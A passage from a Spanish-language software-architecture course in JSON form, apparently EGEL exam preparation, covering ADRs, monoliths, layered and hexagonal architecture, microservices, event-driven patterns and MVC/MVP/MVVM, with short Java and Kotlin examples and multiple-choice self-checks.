y se repiten los mismos errores.\n- **Confundir arquitectura con el framework:** Decir \"nuestra arquitectura es Spring Boot\" o \"nuestra arquitectura es React\". Esos son frameworks de implementación; la arquitectura define responsabilidades, fronteras y flujos de datos.\n\n## Claves para el EGEL\n- La arquitectura de software se evalúa a través de los **trade-offs (compensaciones)** entre atributos de calidad. Si una pregunta te pide justificar una elección arquitectónica, busca la opción que argumente ventajas y desventajas objetivas frente a las restricciones del caso.\n- Los **ADR** son el artefacto estándar para documentar decisiones técnicas trascendentes y su impacto.\n\n## Autoevaluación\nUn arquitecto de software decide reemplazar llamadas REST síncronas entre el servicio de facturación y el servicio de inventario por una cola de mensajería asíncrona mediante RabbitMQ.\n¿Cuál es la principal ventaja y la principal desventaja arquitectónica de esta decisión?\nA) Ventaja: elimina la necesidad de base de datos; Desventaja: aumenta el costo de licencias.\nB) Ventaja: desacopla temporalmente los servicios aumentando la tolerancia a fallos y la disponibilidad; Desventaja: introduce consistencia eventual y mayor complejidad en el monitoreo y manejo de errores distribuidos.\nC) Ventaja: el código se vuelve más corto; Desventaja: el sistema solo puede programarse en lenguaje C.\nD) Ventaja: hace que el sistema sea inmune a ciberataques; Desventaja: reduce la velocidad de procesamiento al 50%.\n\n*(Consulta la solución razonada en la lección 2.1.7).*\n\n## Puntos clave\n- La arquitectura es el conjunto de decisiones estructurales que resultan difíciles de revertir.\n- Los atributos de calidad son los verdaderos impulsores arquitectónicos del software.\n- Todo ADR profesional explicita tanto los beneficios obtenidos como los costos y riesgos asumidos.\n","title":"2.1.1 Fundamentos de arquitectura de software, toma de decisiones y ADRs"},{"children":[],"contentMd":"# Estilos arquitectónicos monolíticos, en capas y arquitecturas limpias\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de comparar rigurosamente los estilos arquitectónicos monolíticos, la arquitectura tradicional en n-capas y los enfoques contemporáneos de arquitectura limpia (Hexagonal / Ports and Adapters y Onion Architecture), seleccionando el estilo idóneo según la complejidad del dominio, el tamaño del equipo y la volatilidad tecnológica.\n\n## ¿Por qué importa en la práctica profesional?\nEn la última década, la industria del software ha sido bombardeada por modas tecnológicas que afirman falsamente que \"los monolitos son obsoletos\" y que \"todo debe ser microservicios\". Cientos de empresas colapsaron financieramente al intentar migrar sistemas sencillos a microservicios distribuidos sin contar con la madurez organizativa ni la infraestructura necesaria. Un ingeniero de software profesional comprende que un **monolito modular bien diseñado** o una **arquitectura hexagonal** supera con creces a un sistema distribuido mal planteado.\n\n---\n\n## 1. El Monolito (Tradicional y Monolito Modular)\n- **Concepto:** Todo el sistema (interfaz, lógica de negocio y acceso a datos) se compila, empaqueta y despliega como una **única unidad ejecutable** (un archivo `.war`, `.jar`, un binario ejecutable o una imagen de contenedor única) que comparte una base de datos central.\n- **Monolito de \"bola de barro\" (Spaghetti Monolith):** El antipatrón donde no existen fronteras; el código de la interfaz gráfica ejecuta sentencias SQL directas y las clases están acopladas de forma circular. Inviable y tóxico para el mantenimiento.\n- **Monolito Modular (Modular Monolith):** La arquitectura monolítica profesional. El código reside en un único repositorio y despliegue, pero está estrictamente organizado en **módulos de negocio independientes con interfaces bien definidas y fronteras explícitas**. Cada módulo es dueño de sus datos y no puede consultar tablas de otro módulo directamente.\n\n### Ventajas del Monolito:\n- Simplicidad radical en desarrollo, compilación, pruebas integrales y despliegue inicial.\n- Cero sobrecarga de red (las llamadas entre módulos son llamadas a funciones en memoria, no peticiones HTTP/gRPC).\n- Transacciones ACID locales nativas en la base de datos (sin necesidad de lidiar con transacciones distribuidas o dos fases).\n- Excelente para startups y proyectos que exploran un dominio nuevo donde las fronteras de negocio aún son cambiantes.\n\n### Desventajas y límites del Monolito:\n- **Despliegue acoplado:** Un bug mínimo en un módulo secundario requiere re-desplegar toda la aplicación completa.\n- **Escalado homogéneo:** Si un solo módulo requiere mucha memoria o CPU (ej. procesamiento de video), se debe clonar el monolito entero en nuevos servidores, encareciendo la infraestructura.\n- **Complejidad de base de código en equipos masivos:** Cuando 200 desarrolladores modifican el mismo repositorio monolítico, los conflictos de merge en Git y la velocidad de construcción (build time) se degradan.\n\n---\n\n## 2. Arquitectura en Capas (N-Tier / Layered Architecture)\n- **Concepto:** El estilo arquitectónico clásico más difundido en sistemas empresariales. Divide el sistema horizontalmente en capas jerárquicas donde cada capa tiene un rol específico y **solo puede comunicarse con la capa inmediatamente inferior** (capas cerradas) o capas inferiores arbitrarias (capas abiertas).\n\n### Capas canónicas:\n1. **Capa de Presentación (Presentation / UI):** Maneja la interacción con el usuario, controladores HTTP, vistas y serialización JSON.\n2. **Capa de Aplicación / Servicios:** Orquesta los casos de uso y coordina las transacciones.\n3. **Capa de Lógica de Negocio (Domain / Business Logic):** Modela las entidades del dominio, cálculos matemáticos y reglas empresariales.\n4. **Capa de Acceso a Datos / Persistencia (Data Access / Repository):** Gestiona la conexión con la base de datos relacional (ORM, sentencias SQL, mapeo relacional).\n\n### El problema histórico de la arquitectura en capas tradicional:\nEn la arquitectura en capas clásica, la lógica de negocio depende de la capa de base de datos (`Negocio ──\u003e Persistencia`). Si cambias de motor de base de datos o de ORM, el impacto se propaga hacia arriba afectando las reglas del negocio. Esto viola el Principio de Inversión de Dependencias (DIP).\n\n---\n\n## 3. Arquitecturas Limpias: Hexagonal (Ports and Adapters) y Onion\nPropuestas por Alistair Cockburn (Hexagonal, 2005) y Robert C. Martin (Clean Architecture, 2012) para resolver el acoplamiento a la infraestructura y la base de datos.\n\n### Principio fundamental: La Regla de la Dependencia (Dependency Rule)\n\u003e *Las dependencias del código fuente solo pueden apuntar HACIA ADENTRO, en dirección a las políticas de mayor nivel (el Dominio).*\n\n```text\n       ┌────────────────────────────────────────────────────────┐\n       │   INFRAESTRUCTURA Y DETALLES EXTERNOS                   │\n       │   (Controladores REST, Bases de Datos SQL, RabbitMQ)   │\n       │                                                        │\n       │       ┌────────────────────────────────────────┐       │\n       │       │   PUERTOS Y ADAPTADORES / CASOS DE USO │       │\n       │       │   (Interfaces de Entrada y Salida)     │       │\n       │       │                                        │       │\n       │       │       ┌────────────────────────┐       │       │\n       │       │       │   ENTIDADES Y DOMINIO  │       │       │\n       │       │       │   (Lógica pura de      │       │       │\n       │       │       │    negocio inmutable)  │       │       │\n       │       │       └────────────────────────┘       │       │\n       │       └────────────────────────────────────────┘       │\n       └────────────────────────────────────────────────────────┘\n```\n\n### Componentes de la Arquitectura Hexagonal:\n1. **El Núcleo del Dominio (Core):**\n   - Entidades, objetos de valor (Value Objects) y reglas de negocio puras.\n   - **No tiene dependencias de ningún framework, base de datos o librería externa.** Está escrito en lenguaje puro (Java puro, C# puro, Python puro).\n2. **Puertos (Ports):**\n   - Interfaces en código definidas por el dominio para comunicarse con el exterior.\n   - *Puertos de entrada (Driving / Primary Ports):* Interfaces que exponen los casos de uso que los actores externos pueden invocar (ej. `IRealizarTransferenciaUseCase`).\n   - *Puertos de salida (Driven / Secondary Ports):* Interfaces que el dominio define para interactuar con infraestructura sin conocerla (ej. `IUsuarioRepository`, `INotificadorSMS`).\n3. **Adaptadores (Adapters):**\n   - Implementaciones concretas de infraestructura que se \"enchufan\" a los puertos.\n   - *Adaptadores de entrada:* Controladores REST, interfaz gráfica, comandos de consola CLI.\n   - *Adaptadores de salida:* Repositorios PostgreSQL con Hibernate, cliente de mensajería Kafka, pasarela Stripe.\n\n### Demostración conceptual en código (Inversión de Dependencias):\n\n```java\n// 1. PUERTO DE SALIDA (Vive en el Dominio - No conoce bases de datos)\npublic interface CuentaRepositoryPort {\n    Optional\u003cCuenta\u003e buscarPorNumero(String numeroCuenta);\n    void guardar(Cuenta cuenta);\n}\n\n// 2. CASO DE USO / DOMINIO (Depende exclusivamente de interfaces del dominio)\npublic class TransferirFondosUseCase {\n    private final CuentaRepositoryPort cuentaRepo;\n\n    public TransferirFondosUseCase(CuentaRepositoryPort cuentaRepo) {\n        this.cuentaRepo = cuentaRepo;\n    }\n\n    public void ejecutar(String origen, String destino, BigDecimal monto) {\n        Cuenta cOrigen = cuentaRepo.buscarPorNumero(origen)\n            .orElseThrow(() -\u003e new CuentaNoEncontradaException(origen));\n        Cuenta cDestino = cuentaRepo.buscarPorNumero(destino)\n            .orElseThrow(() -\u003e new CuentaNoEncontradaException(destino));\n\n        cOrigen.debitar(monto); // Regla pura del dominio\n        cDestino.acreditar(monto);\n\n        cuentaRepo.guardar(cOrigen);\n        cuentaRepo.guardar(cDestino);\n    }\n}\n\n// 3. ADAPTADOR DE INFRAESTRUCTURA (Vive afuera, implementa el puerto)\n@Repository\npublic class PostgresCuentaAdapter implements CuentaRepositoryPort {\n    @Autowired\n    private JpaCuentaSpringDataRepository jpaRepo;\n\n    @Override\n    public Optional\u003cCuenta\u003e buscarPorNumero(String numero) {\n        return jpaRepo.findByNumero(numero).map(CuentaEntity::toDomain);\n    }\n\n    @Override\n    public void guardar(Cuenta cuenta) {\n        jpaRepo.save(CuentaEntity.fromDomain(cuenta));\n    }\n}\n```\n**Observa la ventaja arquitectónica:** Si mañana cambias de PostgreSQL a MongoDB o a un archivo en memoria para pruebas unitarias, el dominio y los casos de uso **no sufren una sola modificación**.\n\n---\n\n## Tabla comparativa de estilos arquitectónicos\n\n| Criterio | Monolito Tradicional | Monolito Modular | Arquitectura Hexagonal / Limpia |\n|---|---|---|---|\n| **Estructura física** | 1 binario / 1 repositorio | 1 binario / Módulos aislados | Hexágonos desacoplados por puertos |\n| **Aislamiento del dominio** | Bajo (mezclado con BD/UI) | Medio a Alto | Máximo (cero dependencias de framework) |\n| **Facilidad de testeo unitario** | Baja (requiere BD real) | Media | Máxima (fácil mockeo de puertos) |\n| **Costo inicial de desarrollo** | Mínimo | Moderado | Moderado a Alto (requiere disciplina) |\n| **Resistencia a cambios tecnológicos**| Muy baja (acoplado) | Media | Inmune (la infraestructura se reemplaza fácil) |\n| **Contexto ideal** | MVPs rápidos, apps muy sencillas. | Sistemas empresariales medianos a grandes con equipo unificado. | Sistemas de dominio complejo con altas exigencias de longevidad y testeabilidad. |\n\n## Escenario de decisión profesional: La plataforma de seguros \"AseguraDigital\"\nUna compañía de seguros tiene un sistema de cálculo actuarial de pólizas con 250 fórmulas matemáticas altamente complejas que cambian cada trimestre. La dirección planea cambiar de base de datos y modernizar la interfaz web en los próximos dos años.\n\n**Decisión del arquitecto de software:**\n- Implementar **Arquitectura Hexagonal (Ports and Adapters)**.\n- El núcleo actuarial con las 250 fórmulas residirá en el centro del hexágono como dominio puro sin frameworks.\n- La base de datos y la interfaz web se conectarán a través de adaptadores externos.\n- **Resultado:** Las fórmulas actuariales se pueden probar mediante 10,000 pruebas unitarias que corren en 2 segundos en memoria sin necesidad de levantar bases de datos ni servidores web. Cuando la directiva cambie de base de datos o de framework web en 2 años, el núcleo actuarial de la empresa permanecerá 100% intacto.\n\n## Errores y confusiones frecuentes\n\n- **Creer que usar capas significa automáticamente buena arquitectura:** Puedes tener un sistema en capas donde la capa de presentación ejecuta lógica de negocio y se salta capas llamando directamente a la base de datos (antipatrón \"Lasagna Code\").\n- **Sobreingeniería prematura:** Aplicar arquitectura hexagonal completa con 50 interfaces y DTOs para un formulario CRUD de dos tablas que no tiene lógica de negocio.\n- **Microservicios por capricho:** Dividir un sistema en 20 microservicios cuando el equipo es de solo 3 desarrolladores, pasando el 80% del tiempo configurando redes y despliegues en lugar de crear valor.\n\n## Claves para el EGEL\n- En la **Arquitectura Hexagonal / Clean Architecture**, el dominio de negocio **nunca depende de frameworks, bases de datos ni librerías externas**; la infraestructura depende del dominio a través de puertos (Principio de Inversión de Dependencias).\n- Un **Monolito Modular** es la mejor opción cuando se desea simplicidad operativa y despliegue unificado sin sacrificar el orden y los límites de dominio.\n\n## Autoevaluación\nUna empresa financiera desarrolla el motor de validación de fraudes. El arquitecto exige que las reglas de negocio puedan probarse mediante tests automatizados en milisegundos sin levantar conexiones a bases de datos y que cambiar de base de datos relacional a NoSQL no requiera reescribir la lógica de fraude.\n¿Qué estilo arquitectónico satisface directamente este requerimiento y cuál es su mecanismo clave?\nA) Arquitectura en capas abierta mediante llamadas directas a SQL.\nB) Arquitectura Hexagonal (Ports and Adapters) desacoplando la persistencia mediante interfaces de puertos de salida en el dominio.\nC) Monolito spaghetti con procedimientos almacenados en la base de datos.\nD) Arquitectura cliente-servidor de dos capas con lógica en los triggers de la base de datos.\n\n*(Consulta la solución razonada en la lección 2.1.7).*\n\n## Puntos clave\n- Los monolitos modulares ofrecen alta cohesión y despliegue simple sin el costo de los sistemas distribuidos.\n- La arquitectura en capas tradicional acopla el negocio a la base de datos; la arquitectura hexagonal invierte esa dependencia.\n- El núcleo del dominio debe ser agnóstico a la tecnología de persistencia y presentación.\n","title":"2.1.2 Estilos arquitectónicos monolíticos: Capas, MVC y Arquitectura Hexagonal"},{"children":[],"contentMd":"# Arquitecturas distribuidas, microservicios y sistemas dirigidos por eventos (EDA)\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar, diseñar y contrastar arquitecturas distribuidas modernas basadas en microservicios y arquitecturas dirigidas por eventos (Event-Driven Architecture - EDA), reconociendo sus trade-offs en escalabilidad, disponibilidad, complejidad operativa, consistencia eventual y patrones de resiliencia (Circuit Breaker, Saga, CQRS).\n\n## ¿Por qué importa en la práctica profesional?\nLos sistemas distribuidos representan el pináculo de la escalabilidad horizontal en la industria actual (Netflix, Uber, Amazon), pero introducen desafíos monumentales: la red es inherentemente no confiable, la latencia no es cero, el ancho de banda es finito y los servidores pueden fallar en cualquier instante (las 8 Falacias de la Computación Distribuida). Aplicar microservicios sin entender el Teorema CAP o sin mecanismos de resiliencia transforma un problema simple en una pesadilla de micro-monolitos distribuidos inestables.\n\n---\n\n## 1. Arquitectura de Microservicios\n- **Concepto:** Enfoque arquitectónico que estructura una aplicación como una colección de **servicios pequeños, autónomos, débilmente acoplados y desplegables independientemente**, organizados alrededor de capacidades del negocio (Bounded Contexts de Domain-Driven Design).\n\n### Principios esenciales de los Microservicios:\n1. **Despliegue independiente:** Modificar y liberar el servicio de pagos no requiere compilar ni tocar el servicio de catálogo ni el de usuarios.\n2. **Base de datos por servicio (Database per Service):** Cada microservicio posee de forma exclusiva su propio almacén de datos (PostgreSQL, Redis, MongoDB). Ningún otro servicio puede consultar su base de datos directamente; toda comunicación debe realizarse a través de APIs públicas bien definidas.\n3. **Persistencia políglota:** Cada microservicio puede utilizar la tecnología de base de datos más conveniente para su tarea (ej. Neo4j para el grafo de recomendaciones; PostgreSQL para transacciones financieras).\n4. **Descentralización y gobernanza ligera:** Equipos pequeños y autónomos (Two-Pizza Teams) que son dueños del ciclo de vida completo de su servicio (\"You build it, you run it\").\n\n### El lado oscuro de los Microservicios (Complejidad y Trade-offs):\n- **Complejidad operativa extrema:** Requiere orquestación de contenedores (Kubernetes), descubrimiento de servicios (Service Discovery), enrutamiento inteligente (API Gateway), trazabilidad distribuida (OpenTelemetry / Jaeger) y monitoreo centralizado de métricas y logs.\n- **La muerte de las transacciones ACID locales:** No existe una transacción SQL única que actualice dos bases de datos en dos microservicios distintos. Se debe adoptar **Consistencia Eventual** mediante patrones como **Saga**.\n- **Latencia de red acumulativa:** Lo que antes era una llamada a función en memoria de 2 nanosegundos en un monolito, ahora es una llamada HTTP/REST o gRPC a través de la red de 30 milisegundos con posibilidad de timeouts y fallos de conexión.\n\n---\n\n## 2. Arquitectura Dirigida por Eventos (EDA - Event-Driven Architecture)\n- **Concepto:** Estilo arquitectónico donde los componentes se comunican exclusivamente mediante la **producción, detección y consumo asíncrono de eventos** que representan hechos inmutables que ya ocurrieron en el negocio (ej. `PedidoCreado`, `PagoRechazado`, `InventarioAgotado`).\n\n### Componentes de un ecosistema EDA:\n- **Productor de eventos (Producer):** Componente que ejecuta una acción y publica un evento en el bus sin saber quién lo escuchará ni qué hará con él. Desacoplamiento total.\n- **Canal / Intermediario de eventos (Event Broker / Message Bus):** Infraestructura que recibe, enruta y persiste los eventos (Apache Kafka, RabbitMQ, AWS SNS/SQS).\n- **Consumidor de eventos (Consumer):** Uno o más componentes que se suscriben al canal y reaccionan al evento de forma asíncrona e independiente.\n\n### Patrones de mensajería:\n- **Cola de mensajes punto a punto (Point-to-Point):** Un solo consumidor procesa cada mensaje (ideal para distribución de tareas de fondo).\n- **Publicación y Suscripción (Publish-Subscribe / Pub-Sub):** El evento se emite a un *Tópico* y se entrega de forma concurrente a todos los suscriptores interesados.\n\n---\n\n## 3. Patrones esenciales de resiliencia y consistencia distribuida\n\n### Patrón Circuit Breaker (Disyuntor)\n- **Problema que resuelve:** El fallo en cascada. Si el servicio de pagos está caído y el servicio de pedidos le envía 1,000 peticiones por segundo, todos los hilos del servicio de pedidos se quedarán bloqueados esperando timeouts, haciendo que el servicio de pedidos colapse también.\n- **Cómo funciona:** Intercepta las llamadas entre servicios con tres estados:\n  - *Cerrado (Closed):* Operación normal; las peticiones pasan.\n  - *Abierto (Open):* Si la tasa de fallos supera un umbral (ej. 50% de errores en 10 segundos), el disyuntor \"salta\". Todas las peticiones fallan de inmediato localmente sin tocar la red, retornando una respuesta alternativa (Fallback) o un error inmediato.\n  - *Semi-Abierto (Half-Open):* Tras un tiempo de enfriamiento (ej. 30 segundos), permite pasar unas pocas peticiones de prueba. Si responden bien, se cierra; si fallan, vuelve a abrirse.\n\n### Patrón Saga (Gestión de transacciones distribuidas)\n- **Problema:** Un usuario compra un vuelo, un hotel y renta un auto. Si el auto falla, no se puede hacer un `ROLLBACK` SQL tradicional entre tres servidores distintos.\n- **Cómo funciona:** La transacción se divide en una secuencia de transacciones locales en cada microservicio. Si un paso falla, la Saga ejecuta una serie de **Transacciones de Compensación (Compensating Transactions)** que deshacen los cambios en orden inverso (ej. cancelar la reserva del hotel y reembolsar la tarjeta).\n\n### Patrón CQRS (Command Query Responsibility Segregation)\n- Separa estrictamente el modelo de **escritura / modificación (Commands)** del modelo de **lectura / consulta (Queries)**.\n- Permite optimizar la base de datos de escritura para transacciones normalizadas y la base de datos de lectura con datos desnormalizados en caché para consultas ultrarrápidas, sincronizándolas asíncronamente mediante eventos.\n\n---\n\n## Tabla comparativa: Monolito vs Microservicios vs EDA\n\n| Característica | Monolito Tradicional | Microservicios | Arquitectura Dirigida por Eventos (EDA) |\n|---|---|---|---|\n| **Acoplamiento temporal** | Fuerte (síncrono en proceso) | Medio (suele usar REST síncrono o gRPC) | Nulo (completamente asíncrono y desacoplado) |\n| **Consistencia de datos** | ACID inmediata y estricta | Eventual o transacciones Saga | Eventual por definición |\n| **Complejidad operativa** | Mínima | Muy alta (contenedores, mallas de servicio) | Alta (gestión de brokers, ordenamiento de eventos) |\n| **Escalabilidad** | Vertical o clonación total | Horizontal granular por servicio | Masiva y distribuida en streaming |\n| **Manejo de picos de carga** | Puede saturar hilos y colapsar | Requiere autoscaling elástico agresivo | Amortiguación natural en colas (Backpressure) |\n| **Tolerancia a fallos** | Un fallo puede tumbar la app | Requiere Circuit Breakers y reintentos | Muy alta (si el consumidor cae, procesa al revivir) |\n\n## Escenario de decisión profesional: La plataforma de pagos \"PagoSeguro\"\nUn procesador de pagos experimenta caídas durante el Buen Fin (Black Friday). Las tiendas envían 10,000 cobros por segundo a su API REST síncrona. Los servidores bancarios receptores tardan hasta 8 segundos en autorizar, lo que satura los hilos de conexión del API Gateway y tumba el portal para todos los usuarios.\n\n**Solución arquitectónica adoptada:**\n1. Transformar el endpoint de cobro en un **modelo asíncrono dirigido por eventos (EDA)**.\n2. Al recibir la petición, el API valida datos básicos, persiste un evento `SolicitudPagoRecibida` en un clúster de Apache Kafka particionado en menos de 15 ms y responde al cliente con código `HTTP 202 Accepted` y un folio de seguimiento.\n3. Un grupo de microservicios consumidores toma los pagos de la cola a la velocidad que los bancos pueden procesar (amortiguando el pico de carga sin colapsar).\n4. Se implementa un **Circuit Breaker** frente a cada banco: si el Banco X colapsa, el disyuntor se abre y se enrutan los cobros a un proveedor de respaldo o se informa de inmediato al usuario sin congelar hilos de red.\n\n## Errores y confusiones frecuentes\n\n- **Microservicios con base de datos compartida:** Crear 10 microservicios pero conectarlos todos a la misma base de datos Oracle con tablas compartidas. Eso es un \"monolito distribuido\": tiene todas las desventajas de los microservicios y ninguna de sus ventajas.\n- **Creer que la comunicación asíncrona es gratis:** Con eventos asíncronos, el usuario presiona \"guardar\" pero el dato puede tardar 2 segundos en verse reflejado en su pantalla. La interfaz debe diseñarse para lidiar con consistencia eventual (mensajes optimistas, websockets de notificación).\n- **Llamadas síncronas en cadena (REST cascades):** El servicio A llama síncronamente al B, que llama al C, que llama al D, que llama al E. Si E tarda 2 segundos o falla, toda la cadena colapsa.\n\n## Claves para el EGEL\n- Los microservicios ofrecen **escalabilidad y despliegue independiente**, a cambio de **complejidad operativa y consistencia eventual**.\n- El patrón **Circuit Breaker** previene fallos en cascada en redes distribuidas.\n- El patrón **Saga** resuelve la consistencia de transacciones de negocio entre múltiples microservicios mediante transacciones de compensación.\n\n## Autoevaluación\nUn sistema de reservaciones de vuelos debe coordinar el cargo a la tarjeta, la reserva de los asientos con la aerolínea y la emisión de puntos de viajero en tres microservicios distintos. Si el asiento no se puede confirmar, el dinero cobrado debe devolverse al cliente.\n¿Qué patrón de arquitectura distribuida es el estándar para gestionar esta transacción de múltiples servicios?\nA) Transacción de dos fases (2PC) bloqueando todas las bases de datos por red indefinidamente.\nB) Patrón Saga coordinado mediante transacciones locales y transacciones de compensación ante fallos.\nC) Eliminar los microservicios y usar un trigger en MySQL.\nD) Patrón Singleton distribuido en memoria RAM.\n\n*(Consulta la solución razonada en la lección 2.1.7).*\n\n## Puntos clave\n- Los microservicios exigen base de datos independiente por servicio; de lo contrario, es un monolito distribuido.\n- La arquitectura orientada a eventos desacopla temporalmente el emisor del receptor y absorbe picos de tráfico.\n- El Circuit Breaker evita que el fallo de un servicio externo derrumbe todo el ecosistema.\n","title":"2.1.3 Arquitecturas distribuidas: Microservicios y Arquitectura Orientada a Eventos (EDA)"},{"children":[],"contentMd":"# Patrones arquitectónicos de presentación (MVC, MVP, MVVM)\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de diferenciar con precisión conceptual y estructural los patrones arquitectónicos de la capa de presentación: MVC (Modelo-Vista-Controlador), MVP (Modelo-Vista-Presentador) y MVVM (Modelo-Vista-VistaModelo), identificando sus responsabilidades, flujos de datos, mecanismos de enlace (data binding) y criterios de selección en aplicaciones web, móviles y de escritorio.\n\n## ¿Por qué importa en la práctica profesional?\nLa interfaz gráfica de usuario es la parte del software más propensa a cambios frecuentes por rediseños estéticos, nuevos dispositivos o exigencias comerciales. Si el código que dibuja un botón en pantalla contiene también la fórmula de cálculo de impuestos y la sentencia SQL que inserta en la base de datos, cualquier cambio cosmético romperá el negocio. Los patrones de presentación separan la representación visual de la lógica del dominio, permitiendo que diseñadores y desarrolladores trabajen en paralelo y facilitando la automatización de pruebas sin necesidad de simular clics en pantalla.\n\n---\n\n## 1. Modelo-Vista-Controlador (MVC)\nIntroducido por Trygve Reenskaug en Xerox PARC (1979) para Smalltalk y adaptado masivamente al desarrollo web del lado del servidor (Spring MVC, ASP.NET MVC, Django, Ruby on Rails, Laravel).\n\n### Responsabilidades de los componentes:\n1. **Modelo (Model):**\n   - Representa el estado y las reglas de negocio del dominio.\n   - Es totalmente independiente de la interfaz gráfica; no sabe cómo se dibuja en pantalla.\n   - En el MVC clásico, notifica a las vistas cuando su estado cambia (mediante el patrón Observer).\n2. **Vista (View):**\n   - Renderiza los datos del modelo al usuario y captura eventos de entrada (formularios, clics).\n   - En aplicaciones web de servidor, la vista es la plantilla HTML (JSP, Razor, Blade, Thymeleaf) que genera el documento final.\n3. **Controlador (Controller):**\n   - Actúa como intermediario entre el usuario y el sistema.\n   - Recibe las peticiones del usuario (ej. `POST /transferencias`), valida los parámetros de entrada, invoca las operaciones correspondientes en el Modelo y selecciona qué Vista debe renderizarse como respuesta.\n\n### Flujo de interacción en la Web:\n`Petición HTTP ──\u003e Controlador ──\u003e Modifica/Consulta Modelo ──\u003e Selecciona Vista ──\u003e Respuesta HTTP al Navegador`\n\n---\n\n## 2. Modelo-Vista-Presentador (MVP)\nEvolución de MVC popularizada en aplicaciones cliente de escritorio y aplicaciones móviles tradicionales (Windows Forms, Java Swing, Android tradicional).\n\n### Diferencia crítica con MVC:\nEn MVC, la Vista puede observar al Modelo directamente. En **MVP**, la Vista y el Modelo están **completamente aislados el uno del otro**; toda comunicación pasa obligatoriamente por el **Presentador (Presenter)**.\n\n1. **Vista Pasiva (Passive View):**\n   - La vista implementa una interfaz limpia (ej. `ILoginView` con métodos `mostrarError()`, `habilitarBoton()`, `obtenerUsuario()`).\n   - La vista es deliberadamente \"tonta\": no tiene lógica condicional; solo delega los eventos al presentador.\n2. **Presentador (Presenter):**\n   - Contiene toda la lógica de presentación.\n   - Escucha los eventos de la vista, consulta al modelo y le ordena a la vista exactamente qué mostrar llamando a los métodos de su interfaz.\n3. **Ventaja radical:** Máxima **testeabilidad**. Puedes probar el 100% de la lógica de presentación mediante pruebas unitarias en JUnit o NUnit pasando un Mock de la interfaz de la Vista, sin requerir emuladores ni entorno gráfico.\n\n---\n\n## 3. Modelo-Vista-VistaModelo (MVVM)\nCreado por Ken Cooper y Ted Peters en Microsoft (2005) para WPF y Silverlight, y adoptado hoy como el estándar predominante en desarrollo móvil y frontend moderno (Android Jetpack, iOS con SwiftUI, Flutter con Riverpod/Bloc, Vue.js, Knockout).\n\n### El componente distintivo: El ViewModel y el Enlace de Datos (Data Binding)\n1. **Vista (View):**\n   - La interfaz declarativa (XML, XAML, Widgets de Flutter, componentes React/Vue).\n   - Se suscribe a los cambios del ViewModel mediante mecanismos de **Data Binding bidireccional (Two-Way Data Binding)** o reactividad funcional (StateFlow, Observables).\n2. **VistaModelo (ViewModel):**\n   - Es una abstracción del estado y las acciones de la vista.\n   - Expone propiedades observables (ej. `val isLoading = MutableStateFlow(false)`) y comandos/métodos (ej. `fun onLoginClicked()`).\n   - **No tiene ninguna referencia a la interfaz gráfica ni a widgets de la UI.** No sabe si está corriendo en un teléfono Android, una tableta, una pantalla táctil o un test unitario.\n   - Sobrevive a cambios de configuración de pantalla (rotación del dispositivo) en frameworks como Android.\n3. **Mecanismo de enlace (Data Binding):**\n   - Cuando el usuario escribe en un campo de texto, el ViewModel se actualiza automáticamente.\n   - Cuando el ViewModel cambia una variable en segundo plano, la pantalla se redibuja de forma reactiva sin que el desarrollador tenga que escribir código imperativo de actualización (`setText`, `setVisible`).\n\n---\n\n## Gran Tabla Comparativa de Patrones de Presentación\n\n| Criterio | MVC (Web / Servidor) | MVP (Cliente / Escritorio) | MVVM (Móvil / Reactivo) |\n|---|---|---|---|\n| **Intermediario central** | Controlador (Controller) | Presentador (Presenter) | VistaModelo (ViewModel) |\n| **Relación Vista-Modelo** | La Vista puede leer del Modelo directamente. | Totalmente desacoplados; no se conocen. | Desacoplados; la Vista observa al ViewModel. |\n| **Referencia a la Vista** | El controlador conoce la vista que retorna. | El presentador tiene una referencia a la interfaz `IView`. | El ViewModel **NO tiene ninguna referencia** a la vista. |\n| **Mecanismo de actualización** | Recarga de página o renderizado de plantilla. | Llamadas imperativas a métodos de la interfaz `IView`. | Enlace de datos reactivo (Data Binding / Streams). |\n| **Facilidad de testing UI** | Media (requiere simular peticiones HTTP). | Muy alta (mediante Mocks de la interfaz `IView`). | Máxima (se prueban flujos de estado del ViewModel puro). |\n| **Ecosistema predominante** | Backend web tradicional (Spring, Laravel, Rails). | Apps de escritorio legadas, Android pre-Jetpack. | Móvil contemporáneo (Android, Flutter, iOS SwiftUI) y SPAs. |\n\n## Demostración comparativa en pseudocódigo\n\n### Enfoque MVP (Imperativo con interfaz):\n```java\n// El Presentador le dice a la vista exactamente qué hacer\npublic class LoginPresenter {\n    private ILoginView view;\n    private AuthService authService;\n\n    public void onLoginClicked(String user, String pass) {\n        view.mostrarCargando(true);\n        if (authService.validar(user, pass)) {\n            view.navegarAHome();\n        } else {\n            view.mostrarMensajeError(\"Credenciales inválidas\");\n            view.mostrarCargando(false);\n        }\n    }\n}\n```\n\n### Enfoque MVVM (Declarativo y reactivo sin referencia a UI):\n```kotlin\n// El ViewModel solo emite estados; no sabe quién ni cómo lo observan\nclass LoginViewModel(private val authService: AuthService) : ViewModel() {\n    val uiState = MutableStateFlow\u003cLoginState\u003e(LoginState.Idle)\n\n    fun onLoginClicked(user: String, pass: String) {\n        viewModelScope.launch {\n            uiState.value = LoginState.Loading\n            val exitoso = authService.validar(user, pass)\n            if (exitoso) {\n                uiState.value = LoginState.Success\n            } else {\n                uiState.value = LoginState.Error(\"Credenciales inválidas\")\n            }\n        }\n    }\n}\n```\n\n## Escenario de decisión profesional: La app bancaria móvil \"BancoMóvil\"\nUn banco rediseña su app móvil corporativa. Los requerimientos exigen:\n1. El equipo de diseño de interfaces modificará frecuentemente los botones, tipografías y animaciones de las pantallas.\n2. La lógica de validación de transferencias debe someterse a miles de pruebas automatizadas diarias sin levantar emuladores de teléfonos lentos.\n3. El estado de la pantalla (campos llenos, spinners de carga) debe conservarse sin perderse cuando el usuario gire el teléfono de vertical a horizontal.\n\n**Decisión justificada del arquitecto:**\n- Adoptar **MVVM (Modelo-Vista-VistaModelo)**.\n- El ViewModel encapsula el estado y las validaciones de transferencia de forma reactiva, sobreviviendo a las rotaciones del dispositivo.\n- Al no tener referencias a componentes visuales (`Context`, `Activity`, `Widgets`), las pruebas unitarias corren en la consola en milisegundos.\n- Los diseñadores pueden alterar la vista declarativa sin tocar una sola línea de la lógica de transferencia.\n\n## Errores y confusiones frecuentes\n\n- **Poner lógica de negocio en el Controller o ViewModel:** Usar el controlador para calcular amortizaciones de préstamos o validar stock. Los controladores y ViewModels solo coordinan; las reglas de negocio pertenecen al 